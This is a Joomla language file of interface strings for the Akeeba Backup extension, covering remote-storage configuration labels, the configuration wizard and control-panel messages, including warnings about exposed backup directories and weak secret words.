COM_AKEEBABACKUP_CONFIG_PROCEMAIL_ADDRESS_DESCRIPTION="The email address where the backup files will be sent to"
COM_AKEEBABACKUP_CONFIG_PROCEMAIL_ADDRESS_TITLE="Email address"
COM_AKEEBABACKUP_CONFIG_PROCEMAIL_SUBJECT_DESCRIPTION="The subject of the email (optional). This is option is here to primarily help you distinguish between backups from multiple sites."
COM_AKEEBABACKUP_CONFIG_PROCEMAIL_SUBJECT_TITLE="Email subject"
COM_AKEEBABACKUP_CONFIG_PROCENGINE_DESCRIPTION="Post-processing engines allow Akeeba Backup to transfer finalised backup archive parts to other servers and remote storage providers."
COM_AKEEBABACKUP_CONFIG_PROCENGINE_TITLE="Post-processing engine"
COM_AKEEBABACKUP_CONFIG_PUSH_APIKEY_DESC="Go to https://www.pushbullet.com/account and copy the Access Token from that page into the text box here. It is used to send push messages to your account. You may paste several tokens separated by commas. Note: the Access Token is visible to all people who have access to this configuration page."
COM_AKEEBABACKUP_CONFIG_PUSH_APIKEY_LABEL="Pushbullet Access Token"
COM_AKEEBABACKUP_CONFIG_PUSH_HEADER_DESC="Here you can configure push notifications for backup events to be sent directly to your phone, tablet, notebook or desktop computer. You need to download the free-of-charge, third party application <a href='http://pushbullet.com/'>Pushbullet</a> first."
COM_AKEEBABACKUP_CONFIG_PUSH_HEADER_LABEL="Push Notifications"
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_DESC="Should Akeeba Backup send you notifications and, if so, how? If you select Web Push, save these options and go back to the Control Panel page. You will see a new Push Notification area below the backup Quick Icons where you can manage the push notifications for your browser."
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_LABEL="Push notifications"
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_OPT_NONE="Disabled"
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_OPT_PUSHBULLET="PushBullet"
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_OPT_WEBPUSH="Web Push (browser API)"
COM_AKEEBABACKUP_CONFIG_QUICKICON_DESC="When checked, Akeeba Backup will display an one-click backup icon at the top of the Control Panel page. Clicking on it will activate this profile and take a backup without any further action necessary from you."
COM_AKEEBABACKUP_CONFIG_QUICKICON_LABEL="One-click backup icon"
COM_AKEEBABACKUP_CONFIG_REMOTEQUOTALATEST_TITLE="Current backup participates in remote file quotas"
COM_AKEEBABACKUP_CONFIG_REMOTEQUOTALATEST_DESCRIPTION="When enabled the backup which is in progress participates in the remote file quotas. This can be problematic; if the backup is partially uploaded to the remote storage and the quota settings are such that only the latest backup is preserved you might end up without a valid backup stored remotely. Disabling it will make it less likely that you end up without a valid backup in remote storage at the expense of storing one more backup archive remotely."
COM_AKEEBABACKUP_CONFIG_LOCAL_HEAD="Local Files Quotas"
COM_AKEEBABACKUP_CONFIG_REMOTE_HEAD="Remote Files Quotas"
COM_AKEEBABACKUP_CONFIG_RUNTIMEBIAS_DESCRIPTION="This defines how conservative Akeeba Backup will be when trying to avoid a time-out. The lower this value, the more conservative it gets. If you get time-out errors, please try decreasing both the Maximum Execution Time and this setting.<strong>Tip</strong>: Select Custom and type in your desired value if it's not on the list."
COM_AKEEBABACKUP_CONFIG_RUNTIMEBIAS_TITLE="Execution time bias"
COM_AKEEBABACKUP_CONFIG_S3ACCESSKEY_DESCRIPTION="Your Amazon S3 Access Key, made available to you under your personal Amazon Web Services profile page"
COM_AKEEBABACKUP_CONFIG_S3ACCESSKEY_TITLE="Access Key"
COM_AKEEBABACKUP_CONFIG_S3BUCKET_DESCRIPTION="Your Amazon S3 bucket name"
COM_AKEEBABACKUP_CONFIG_S3BUCKET_TITLE="Bucket"
COM_AKEEBABACKUP_CONFIG_S3CUSTOMENDPOINT_DESCRIPTION="For use with third party storage services implementing an S3-compatible API. Enter the endpoint (API URL) of the third party storage service's S3-compatible API. IMPORTANT: If you are using Amazon S3 you <strong>MUST LEAVE THIS BLANK</strong>."
COM_AKEEBABACKUP_CONFIG_S3CUSTOMENDPOINT_TITLE="Custom endpoint"
COM_AKEEBABACKUP_CONFIG_S3DIRECTORY_DESCRIPTION="The directory within your bucket where the backup archives will be stored. Leave blank to store files inside the bucket's root."
COM_AKEEBABACKUP_CONFIG_S3DIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFIG_S3_ACL_TITLE="File permissions (ACLs)"
COM_AKEEBABACKUP_CONFIG_S3_ACL_DESCRIPTION="Choose the permissions of the uploaded file. In most cases “Private”, or “Bucket owner can read” are the most appropriate choices. If you are using a third party, S3-compatible service you may want to use “Private” instead of the default setting."
COM_AKEEBABACKUP_CONFIG_S3_ACL_PRIVATE="Private"
COM_AKEEBABACKUP_CONFIG_S3_ACL_PUBLIC_READ="Anyone can read"
COM_AKEEBABACKUP_CONFIG_S3_ACL_PUBLIC_READ_WRITE="Anyone can read and write"
COM_AKEEBABACKUP_CONFIG_S3_ACL_AUTHENTICATED_READ="Authenticated IAM users can read"
COM_AKEEBABACKUP_CONFIG_S3_ACL_BUCKET_OWNER_READ="Bucket owner can read"
COM_AKEEBABACKUP_CONFIG_S3_ACL_BUCKET_OWNER_FULL_CONTROL="Bucket owner has full control"
COM_AKEEBABACKUP_CONFIG_S3LEGACY_DESCRIPTION="When enabled, all uploads to Amazon S3 will be forced to be single part. Use this if you get RequestTimeout errors from the S3 engine when uploading backup parts."
COM_AKEEBABACKUP_CONFIG_S3LEGACY_TITLE="Disable multipart uploads"
COM_AKEEBABACKUP_CONFIG_S3RRS_DESCRIPTION="Select the storage class for your data. Standard is the regular storage for business critical data. Please consult the Amazon S3 documentation for the description of each storage class."
COM_AKEEBABACKUP_CONFIG_S3RRS_TITLE="Storage class"
COM_AKEEBABACKUP_CONFIG_S3SECRETKEY_DESCRIPTION="Your Amazon S3 Secret Key, made available to you under your personal Amazon Web Services profile page"
COM_AKEEBABACKUP_CONFIG_S3SECRETKEY_TITLE="Secret Key"
COM_AKEEBABACKUP_CONFIG_S3USESSL_DESCRIPTION="If enabled, a secure (HTTPS) connection will be used when uploading your files. While it increases security of transferred data, it also increases the possibility of backup failure due to timeout."
COM_AKEEBABACKUP_CONFIG_S3USESSL_TITLE="Use SSL"
COM_AKEEBABACKUP_CONFIG_S3_DUALSTACK_DESCRIPTION="Should we use the dual-stack endpoints for Amazon S3? This allows accessing S3 over IPv6 for servers which support IPv6. Servers without IPv6 support will still be able to access S3 over IPv4. It has no effect if you are using a custom endpoint."
COM_AKEEBABACKUP_CONFIG_S3_DUALSTACK_TITLE="Enable IPv6 (dual-stack) support"
COM_AKEEBABACKUP_CONFIG_S3_ALTERNATEDATEHEADERFORMAT_TITLE="Alternate date format"
COM_AKEEBABACKUP_CONFIG_S3_ALTERNATEDATEHEADERFORMAT_DESCRIPTION="Only disable this setting if support asks you to."
COM_AKEEBABACKUP_CONFIG_S3_USEHTTPDATEHEADER_TITLE="Use the HTTP header Date instead of X-Amz-Date"
COM_AKEEBABACKUP_CONFIG_S3_USEHTTPDATEHEADER_DESCRIPTION="Only enable this setting if support asks you to."
COM_AKEEBABACKUP_CONFIG_S3_PRESIGNEDBUCKETINURL_TITLE="Include the bucket name in pre-signed v4 URLs"
COM_AKEEBABACKUP_CONFIG_S3_PRESIGNEDBUCKETINURL_DESCRIPTION="Only enable this setting if support asks you to."
COM_AKEEBABACKUP_CONFIG_SAVENEW_DEFAULT_PROFILE_NAME="New backup profile"
COM_AKEEBABACKUP_CONFIG_SAVE_OK="The configuration has been saved"
COM_AKEEBABACKUP_CONFIG_SCANENGINE_DESCRIPTION="Defines how Akeeba Backup will crawl your site's files and folders in order to determine which of them have to be backed up."
COM_AKEEBABACKUP_CONFIG_SCANENGINE_TITLE="Filesystem scanner engine"
COM_AKEEBABACKUP_CONFIG_SECRETWORD_DESC="This password will be used with the Front-end Backup (Legacy API) and JSON API features to protect them against unauthorised access. Akeeba Backup will NOT enable these features unless you use a long, complex password here. Consult the documentation for more information."
COM_AKEEBABACKUP_CONFIG_SECRETWORD_LABEL="Secret word"
COM_AKEEBABACKUP_CONFIG_SECURITY_USEENCRYPTION_DESCRIPTION="When enabled, configuration settings are encrypted using the industry-standard AES-128 encryption."
COM_AKEEBABACKUP_CONFIG_SECURITY_USEENCRYPTION_LABEL="Use encryption"
COM_AKEEBABACKUP_CONFIG_SECURITY_NO_FLUSH_LABEL="No flush()"
COM_AKEEBABACKUP_CONFIG_SECURITY_NO_FLUSH_DESCRIPTION="Disables the use of flush() during AJAX operations. Only enable on very broken servers where the backup won't even start."
COM_AKEEBABACKUP_CONFIG_ACCURATE_PHP_CLI_LABEL="Accurate PHP-CLI path"
COM_AKEEBABACKUP_CONFIG_ACCURATE_PHP_CLI_DESCRIPTION="Enable to have Akeeba Backup try to detect the accurate PHP-CLI path on your server. Disable if your server does not allow you to do that, locking your IP address out of your site for several minutes to hours when this happens (for example IONOS)."
COM_AKEEBABACKUP_CONFIG_SFTPTEST_BADPREFIX="You are NOT supposed to add the sftp:// prefix to your SFTP Hostname. Please remove the sftp:// prefix and retry."
COM_AKEEBABACKUP_CONFIG_SFTPTEST_NOUPLOAD="Akeeba Backup was able to connect to your server, but it could not upload a test file. Backup upload could fail."
COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_ENABLE_DESCRIPTION="When activated, Akeeba Backup will erase old backup files if the total size of backup archives exceeds the value defined below. This setting is applied <strong>per profile</strong>."
COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_ENABLE_TITLE="Enable size quota"
COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_VALUE_DESCRIPTION="If the total size of backup archives taken with the current profile exceeds this limit, the oldest backups will be deleted from the server.<br/><br/><strong>Tip</strong>: Select Custom and type in your desired value if it's not on the list."
COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_VALUE_TITLE="Size quota"
COM_AKEEBABACKUP_CONFIG_SPLITDBDUMP_DESCRIPTION="Your database dumps will be split in small files to improve compression and avoid file size issues on certain cheap hosts. Ideally, you should use half the size of your Big File Threshold. Set to 0 to disable splitting and creating a single huge dump file per database."
COM_AKEEBABACKUP_CONFIG_SPLITDBDUMP_TITLE="Size for split SQL dump files"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_ACCESS_DESCRIPTION="Dead integration. SugarSync retired their service in 2024. The developer pages may still let you create access keys, but the service endpoints time out and uploads do not work."
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_ACCESS_TITLE="Access Key ID"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_DIRECTORY_DESCRIPTION="Dead integration. This upload method no longer works because SugarSync retired their service in 2024 and the API endpoints time out."
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_DIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_EMAIL_DESCRIPTION="Dead integration. Kept only for backwards compatibility until SugarSync support is removed before the end of 2026."
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_EMAIL_TITLE="Email"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_PASSWORD_DESCRIPTION="Dead integration. Kept only for backwards compatibility until SugarSync support is removed before the end of 2026."
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_PASSWORD_TITLE="Password"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_PRIVATE_DESCRIPTION="Dead integration. SugarSync's developer console may still display key material, but the retired service endpoints do not respond."
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_PRIVATE_TITLE="Private Access Key"
COM_AKEEBABACKUP_CONFIG_SWIFT_AUTHURL_DESCRIPTION="The endpoint for the Keystone service of your OpenStack installation. DO include the version. DO NOT include the /token suffix. Example: https://authentication.example.com/v2.0"
COM_AKEEBABACKUP_CONFIG_SWIFT_AUTHURL_TITLE="Authentication URL"
COM_AKEEBABACKUP_CONFIG_SWIFT_CONTAINERURL_DESCRIPTION="The API endpoint for your object storage container, e.g. https://storage.example.com/v1/AUTH_abcdef0123456789abcdef0123456789/my-container"
COM_AKEEBABACKUP_CONFIG_SWIFT_CONTAINERURL_TITLE="Container URL"
COM_AKEEBABACKUP_CONFIG_SWIFT_DIRECTORY_DESCRIPTION="The directory within the OpenStack Swift object storage container to store the backup archives. To store everything on the container's root, please leave blank."
COM_AKEEBABACKUP_CONFIG_SWIFT_DIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFIG_SWIFT_PASSWORD_DESCRIPTION="The OpenStack API password for your cloud."
COM_AKEEBABACKUP_CONFIG_SWIFT_PASSWORD_TITLE="OpenStack Password"
COM_AKEEBABACKUP_CONFIG_SWIFT_TENANTID_DESCRIPTION="Your OpenStack tenant ID (Keystone v2) or project ID (Keystone v3) , e.g. a0b1c2d3e4f56789abcdef0123456789"
COM_AKEEBABACKUP_CONFIG_SWIFT_TENANTID_TITLE="Tenant ID / Project ID"
COM_AKEEBABACKUP_CONFIG_SWIFT_USERNAME_DESCRIPTION="The OpenStack API username for your cloud."
COM_AKEEBABACKUP_CONFIG_SWIFT_USERNAME_TITLE="OpenStack Username"
COM_AKEEBABACKUP_CONFIG_SWIFT_KEYSTONE_VERSION_TITLE="Keystone version"
COM_AKEEBABACKUP_CONFIG_SWIFT_KEYSTONE_VERSION_DESCRIPTION="Choose which version of OpenStack Keystone authentication service is used by your storage provider. If unsure please ask your storage provider."
COM_AKEEBABACKUP_CONFIG_SWIFT_KEYSTONE_VERSION_V2="Keystone v2 (Legacy)"
COM_AKEEBABACKUP_CONFIG_SWIFT_KEYSTONE_VERSION_V3="Keystone v3"
COM_AKEEBABACKUP_CONFIG_SWIFT_DOMAIN_TITLE="Keystone v3 Authentication Domain"
COM_AKEEBABACKUP_CONFIG_SWIFT_DOMAIN_DESCRIPTION="Only used with Keystone v3 authentication. This is the authentication domain for the Keystone v3 service, <strong>NOT</strong> the hostname of the Keystone authentication server. In most cases it's <code>default</code> or <code>Default</code>. If unsure please ask your storage provider."
COM_AKEEBABACKUP_CONFIG_UI_AJAXERRORDLG_TEXT="An error has occurred while waiting for an AJAX response:"
COM_AKEEBABACKUP_CONFIG_UI_AJAXERRORDLG_TITLE="AJAX Error"
COM_AKEEBABACKUP_CONFIG_UI_BROWSE="Browse..."
COM_AKEEBABACKUP_CONFIG_UI_BROWSER_TITLE="Directory Browser"
COM_AKEEBABACKUP_CONFIG_UI_CONFIG="Configure..."
COM_AKEEBABACKUP_CONFIG_UI_CUSTOM="Custom..."
COM_AKEEBABACKUP_CONFIG_UI_FTPBROWSER_TITLE="FTP Directory Browser"
COM_AKEEBABACKUP_CONFIG_UI_REFRESH="Refresh"
COM_AKEEBABACKUP_CONFIG_UI_ROOTDIR="Using the site's root for backup output or temporary file storage will lead to backup failure. I am overriding your setting."
COM_AKEEBABACKUP_CONFIG_UI_SETTINGS_NOTSECURED="Your server does not support encryption of your configuration settings. We strongly advise you not to store any passwords in the configuration."
COM_AKEEBABACKUP_CONFIG_UI_SETTINGS_SECURED="Your settings are secured by 128-bit encryption. You can safely store your passwords in the configuration."
COM_AKEEBABACKUP_CONFIG_UPLOADKICKSTART_DESCRIPTION="When checked a copy of Akeeba Kickstart Professional will be uploaded to the remote storage specified in the Post-processing Engine above (except for the None and Email engines). This makes sense when using FTP or SFTP to transfer your site to a different server: both your backup archive and Kickstart, used to extract it, will be uploaded to your remote server. After the backup is complete you can just launch Kickstart on the remote site and proceed with its restoration. So simple!"
COM_AKEEBABACKUP_CONFIG_UPLOADKICKSTART_TITLE="Upload Kickstart to remote storage"
COM_AKEEBABACKUP_CONFIG_USAGESTATS_DESC="Help us improve our software by anonymously and automatically reporting your PHP, MySQL and Joomla! versions. This information will help us decide which versions of Joomla!, PHP and MySQL to support in future versions. Note: we do NOT collect your site name, IP address or any other directly or indirectly unique identifying information."
COM_AKEEBABACKUP_CONFIG_USAGESTATS_LABEL="Enable anonymous PHP, MySQL and Joomla! version reporting"
COM_AKEEBABACKUP_CONFIG_VIRTUALFOLDER_DESCRIPTION="If you have configured any off-site directories, their contents will appear inside the archive as subdirectories of this virtual directory. It is virtual because it doesn't really exist on your server. It only exists inside the backup archive. Make sure the virtual directory name does not clash with an existing directory in order to avoid data loss."
COM_AKEEBABACKUP_CONFIG_VIRTUALFOLDER_TITLE="Virtual directory for off-site files"
COM_AKEEBABACKUP_CONFIG_WEBDAV_DIRECTORY_DESCRIPTION="Directory"
COM_AKEEBABACKUP_CONFIG_WEBDAV_DIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFIG_WEBDAV_PASSWORD_DESCRIPTION="Password"
COM_AKEEBABACKUP_CONFIG_WEBDAV_PASSWORD_TITLE="Password"
COM_AKEEBABACKUP_CONFIG_WEBDAV_URL_DESCRIPTION="WebDAV base URL"
COM_AKEEBABACKUP_CONFIG_WEBDAV_URL_TITLE="WebDAV base URL"
COM_AKEEBABACKUP_CONFIG_WEBDAV_USERNAME_DESCRIPTION="Username"
COM_AKEEBABACKUP_CONFIG_WEBDAV_USERNAME_TITLE="Username"
COM_AKEEBABACKUP_CONFIG_WHERE_ARE_THE_FILTERS="If you are looking for the filters &ndash;e.g. for excluding files, directories and database tables&ndash; please click on the Cancel button to get back to the Control Panel page where you can access these features directly."
COM_AKEEBABACKUP_CONFIG_ZIPCDGLUECHUNKSIZE_DESCRIPTION="ZIP files are comprised of a data section and a \"directory\" section. Those sections are processed in parallel by Akeeba Backup and joined during the archive finalisation stage. This parameter determines how much data will be processed at once during this stage. You shouldn't need to change this setting unless you have severe memory exhaustion problems."
COM_AKEEBABACKUP_CONFIG_ZIPCDGLUECHUNKSIZE_TITLE="Chunk size for Central Directory processing"
COM_AKEEBABACKUP_CONFIG__BACKBLAZE_DIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFWIZ="Configuration Wizard"
COM_AKEEBABACKUP_CONFWIZ_CONGRATS="Congratulations! You have completed the automatic configuration wizard. You can now test your new configuration by running a backup, or fine-tune them in the Configuration page."
COM_AKEEBABACKUP_CONFWIZ_DBOPT="Optimising Database Dump engine settings"
COM_AKEEBABACKUP_CONFWIZ_DIRECTORY="Examining Output Directory"
COM_AKEEBABACKUP_CONFWIZ_HEADER_FAILED="Configuration Wizard Failure"
COM_AKEEBABACKUP_CONFWIZ_HEADER_FINISHED="Finished Benchmarking"
COM_AKEEBABACKUP_CONFWIZ_INTROTEXT="The Configuration Wizard runs a series of benchmarks on your server to determine the optimal backup settings for your site. Please do not navigate away from this page. It is normal to appear frozen for periods up to three (3) minutes, depending on your server speed."
COM_AKEEBABACKUP_CONFWIZ_MAXEXEC="Optimising the maximum execution time"
COM_AKEEBABACKUP_CONFWIZ_MINEXEC="Optimising the minimum execution time"
COM_AKEEBABACKUP_CONFWIZ_PROGRESS="Server environment analysis in progress"
COM_AKEEBABACKUP_CONFWIZ_SPLITSIZE="Determining the required part size for split archives"
COM_AKEEBABACKUP_CONFWIZ_FLUSH="Checking whether <code>flush()</code> works on your server"
COM_AKEEBABACKUP_CONFWIZ_UI_CANTDBOPT="Akeeba Backup could not determine the optimal database dump settings. Make sure your server runs on MySQL 5.0 or later and that your database user is allowed to run the SHOW TABLE STATUS command before running this wizard again."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTDETERMINEMINEXEC="Could not determine the minimum execution time. This indicates a severe problem communicating with your server. Please try configuring Akeeba Backup manually."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTDETERMINEPARTSIZE="Akeeba Backup could not determine a part size suitable for your server. Please ensure you have adequate free space on your account and run this wizard again."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTFIXDIRECTORIES="Akeeba Backup could not find a writable output and temporary directory. Please give write permissions to the administrator/components/com_akeebabackup/backup directory and run this wizard again."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTSAVEMAXEXEC="Akeeba Backup could not save the maximum execution time preferences. You will have to configure it manually."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTSAVEMINEXEC="Could not save the minimum execution time preference. You will have to configure Akeeba Backup manually."
COM_AKEEBABACKUP_CONFWIZ_UI_EXECTOOLOW="Akeeba Backup detected that your server requires a maximum execution time that is too low to be practical. You are better off switching hosts or asking your host to increase PHP's maximum execution time and lift any CPU usage limitations from your account."
COM_AKEEBABACKUP_CONFWIZ_UI_MINEXECTRY="Trying %s seconds"
COM_AKEEBABACKUP_CONFWIZ_UI_PARTSIZE="Testing a part size of %s Mb"
COM_AKEEBABACKUP_CONFWIZ_UI_SAVEMINEXEC="Saving the minimum execution time preference"
COM_AKEEBABACKUP_CONFWIZ_UI_SAVINGMAXEXEC="Saving maximum execution time preference"
COM_AKEEBABACKUP_CONFWIZ_UI_TRYAJAX="Trying to make an asynchronous AJAX request to your server"

COM_AKEEBABACKUP_CONTROLPANEL="Control Panel"
COM_AKEEBABACKUP_CONTROLPANEL_BTN_HIDE="Remind me in 15 days"
COM_AKEEBABACKUP_CONTROLPANEL_BTN_LEARNMORE="Learn more about <strong>Akeeba Backup Professional</strong>"
COM_AKEEBABACKUP_CONTROLPANEL_HEAD_LBL_DISCOUNT="Use the coupon code <strong>%s</strong> to subscribe with a <strong>20%%</strong> introductory discount."
COM_AKEEBABACKUP_CONTROLPANEL_HEAD_LBL_PROUPSELL_1="Add scheduled backups, automatic upload to 40+ cloud storage providers, integrated restoration, a site transfer wizard and much more with <strong>Akeeba Backup Professional</strong>."
COM_AKEEBABACKUP_CONTROLPANEL_HEAD_LBL_PROUPSELL_2="A single license is valid for <strong>unlimited sites</strong>. It includes support from the developers who write this software."
COM_AKEEBABACKUP_CONTROLPANEL_HEAD_PROUPSELL="Make your life easier"
COM_AKEEBABACKUP_CONTROLPANEL_MSG_REBUILTTABLES="<h3>Oops! Your Akeeba Backup database tables are corrupt.</h3><p>Akeeba Backup has detected that its database tables were missing or corrupt. Logged in as a Super User to your site's administrator backend, please go to the System menu item in the sidebar Joomla menu. Select the Database link in the Maintenance pane. Select the Akeeba Backup item from the list and click on the Update Structure button in the toolbar to fix the database table issues. Then retry accessing Akeeba Backup.</p>"
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L1="Akeeba Backup could not determine the permissions of the <code>media/com_akeebabackup</code> directory."
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L2="Please do one of the following:"
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L3A="Activate Joomla!'s FTP mode in Global Configuration"
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L3B="Change the permissions of the <code>media/com_akeebabackup</code> directory and all of its subdirectories to 0755 and all of its files to 0644 using your FTP client."
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L4="Akeeba Backup <strong><u>will most likely not work at all</u></strong> if you do not perform these steps. If you see this message please follow the instructions in it before asking for support. It will save you a lot of time."
COM_AKEEBABACKUP_CONTROLPANEL_WARN_WARNING="WARNING"
COM_AKEEBABACKUP_CPANEL_BTN_FESECRETWORD_RESET="Apply the suggested Secret Word"
COM_AKEEBABACKUP_CPANEL_BTN_FIXSECURITY="Fix the security of my backups"
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_BANNED="The secret word is a known bad password. Please do not use dictionary words, movie / series names, the names of your loved ones or pets."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_HEADER="The front-end and remote backup features are disabled"
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_INTRO="Your <em>Secret Word</em> is insecure and can be easily guessed. In order to protect your site Akeeba Backup has disabled access to front-end and remote backup until you enter a secure Secret Word. The problem detected is:"
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_RESET="Could not change the Secret Word"
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_TOOSHORT="The secret word is too short. Use a secret word at least 8 characters long."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_TOOSIMPLE="The secret word is too simple. Try using lower and upper case letters, numbers and punctuation."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_WHATTODO_COMMON="Alternatively, click the button below to reset the secret word to the suggested value <code>%s</code> In either case you will need to update your remote backup services and/or CRON jobs with the new Secret Word."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_WHATTODO_JOOMLA="Please click on Options, Front-end and enter a more complex secret word."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_WHATTODO_SOLO="Please click on System Configuration, Public API and enter a more complex secret word."
COM_AKEEBABACKUP_CPANEL_ERR_INVALIDDOWNLOADID="Invalid Download ID format. Please follow our instructions to get your Download ID. Do not enter your username, e-mail address or password in this box."
COM_AKEEBABACKUP_CPANEL_HEADER_ADVANCED="Advanced Operations"
COM_AKEEBABACKUP_CPANEL_HEADER_BASICOPS="Basic Operations"
COM_AKEEBABACKUP_CPANEL_HEADER_INCLUDEEXCLUDE="Include and Exclude Information"
COM_AKEEBABACKUP_CPANEL_HEADER_QUICKBACKUP="One-click Backup"
COM_AKEEBABACKUP_CPANEL_HEADER_TROUBLESHOOTING="Troubleshooting"
COM_AKEEBABACKUP_CPANEL_HEAD_OUTDIR_INSECURE="Insecure output directory"
COM_AKEEBABACKUP_CPANEL_HEAD_OUTDIR_INSECURE_ALT="Possibly insecure output directory and backup filename"
COM_AKEEBABACKUP_CPANEL_HEAD_OUTDIR_INVALID="Invalid output directory"
COM_AKEEBABACKUP_CPANEL_HEAD_OUTDIR_UNFIXABLE="Unfixable output directory security issue"
COM_AKEEBABACKUP_CPANEL_LABEL_STATUSSUMMARY="Status Summary"
COM_AKEEBABACKUP_CPANEL_LBL_INCLUDEEXCLUDE_CALLOUT="Inclusion and exclusion options are only applied to the active backup profile."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_CLICKTHEBUTTON="Click the button below to fix this issue. Here's what it does."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_DELETEORBEHACKED="Until you do that we <strong>VERY STRONGLY RECOMMEND</strong> not taking a backup of your site and, if you already had, delete all backup archives and backup log files. <strong>FAILURE TO FOLLOW THESE INSTRUCTIONS WILL VERY LIKELY RESULT IN YOUR SITE BEING COMPROMISED (HACKED) AND YOUR BACKUPS BEING MOST LIKELY UNUSABLE.</strong>"
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_FILEREADABLE="Akeeba Backup detected that your backup output directory <code>%s</code> is under your site's web root. Its contents, including your backup archives, are accessible over the web. However, it is NOT possible to list the files in the directory with a web browser. <strong>This can be a security issue</strong>. An attacker can guess the name of the backup archive and download it directly, bypassing your site's security."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_FIX_RANDOM="Your “Backup output filename” will be amended to include the <code>[RANDOM]</code> variable in it. This makes guessing the backup filenames practically impossible by adding 16 different, random letters and / or numbers in the backup archive filename every time you take a backup."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_FIX_SECURITYFILES="A <code>.htaccess</code> and a <code>web.config</code> file will be written to that folder. On most servers this is enough to prevent direct web downloads of any file inside it and disables the listing of its files. We also have a solution for the servers where these special files don't have an effect. Another three files called <code>index.php</code>, <code>index.html</code> and <code>index.htm</code> will also be written to that folder. These index files prevent the web server from listing the names of the backup archives and backup log files."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_ISSYSTEM="Moreover, your output directory is the same as or a subdirectory of a folder that is used by Joomla and its extensions for its own, publicly accessible files."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_ISSYSTEM_FIX="You need go to the Configuration page of Akeeba Backup and select a different output directory."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_LISTABLE="Akeeba Backup detected that your backup output directory <code>%s</code> is under your site's web root. Its contents, including your backup archives, are accessible over the web. Moreover, it's possible to list the files in the directory i.e. it gives a listing of your backup archives when you access it with a web browser. <strong>This is a major security issue</strong>. An attacker can access this folder from a web browser and download your backup archives directly, bypassing your site's security."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_TRASHHOST="Unfortunately, your server does not support any reasonable method to secure the directory. No matter what we do it will always list the names of the files it contains and allow you to download them from a browser. Your one and only option is to create a backup output directory above your site's root."
COM_AKEEBABACKUP_CPANEL_LBL_STATUS_ERROR="Detected errors prohibit intended operation"
COM_AKEEBABACKUP_CPANEL_LBL_STATUS_OK="Akeeba Backup is ready to backup your site"
COM_AKEEBABACKUP_CPANEL_LBL_STATUS_WARNING="Akeeba Backup is ready to backup your site, but there are potential issues"
COM_AKEEBABACKUP_CPANEL_LBL_UNWRITABLE="Unwritable"
COM_AKEEBABACKUP_CPANEL_LBL_WRITABLE="Writable"
COM_AKEEBABACKUP_CPANEL_MSG_CLOUDFLARE_WARN1="We have detected that CloudFlare Rocket Loader is enabled on your site. This feature will interfere with JavaScript on your site, mixing up the order scripts are loaded therefore causing JavaScript errors. Please disable the Rocket Loader feature to let Joomla's and Akeeba Backup's JavaScript work correctly. For further information and instructions please refer to <a href='%s' target='_blank'>CloudFlare's documentation</a>."
COM_AKEEBABACKUP_CPANEL_MSG_CLOUDFLARE_WARN="CloudFlare's Rocket Loader will prevent you from using Joomla!&trade; and Akeeba Backup correctly"
COM_AKEEBABACKUP_CPANEL_MSG_FESECRETWORD_RESET="The Secret Word has been changed to <code>%s</code>"
COM_AKEEBABACKUP_CPANEL_MSG_JOOMLABUGGYUPDATES="<strong>Important:</strong> If Joomla has already determined there are updates for Akeeba Backup before you entered your Download ID it <em>may not be able to download them</em> even after you have entered your Download ID due to a number of long-standing Joomla bugs. In this case please download the ZIP file of the latest version from our site. Then go to Joomla's System menu, find the Install pane, click on Extensions, click on the Upload Package File tab and install the ZIP file you downloaded <strong>twice</strong> in a row, <strong>without</strong> uninstalling Akeeba Backup before or in between. The double installation is required to address another long-standing bug in Joomla which sometimes prevents it from copying all of the updated files when installing an extension update."
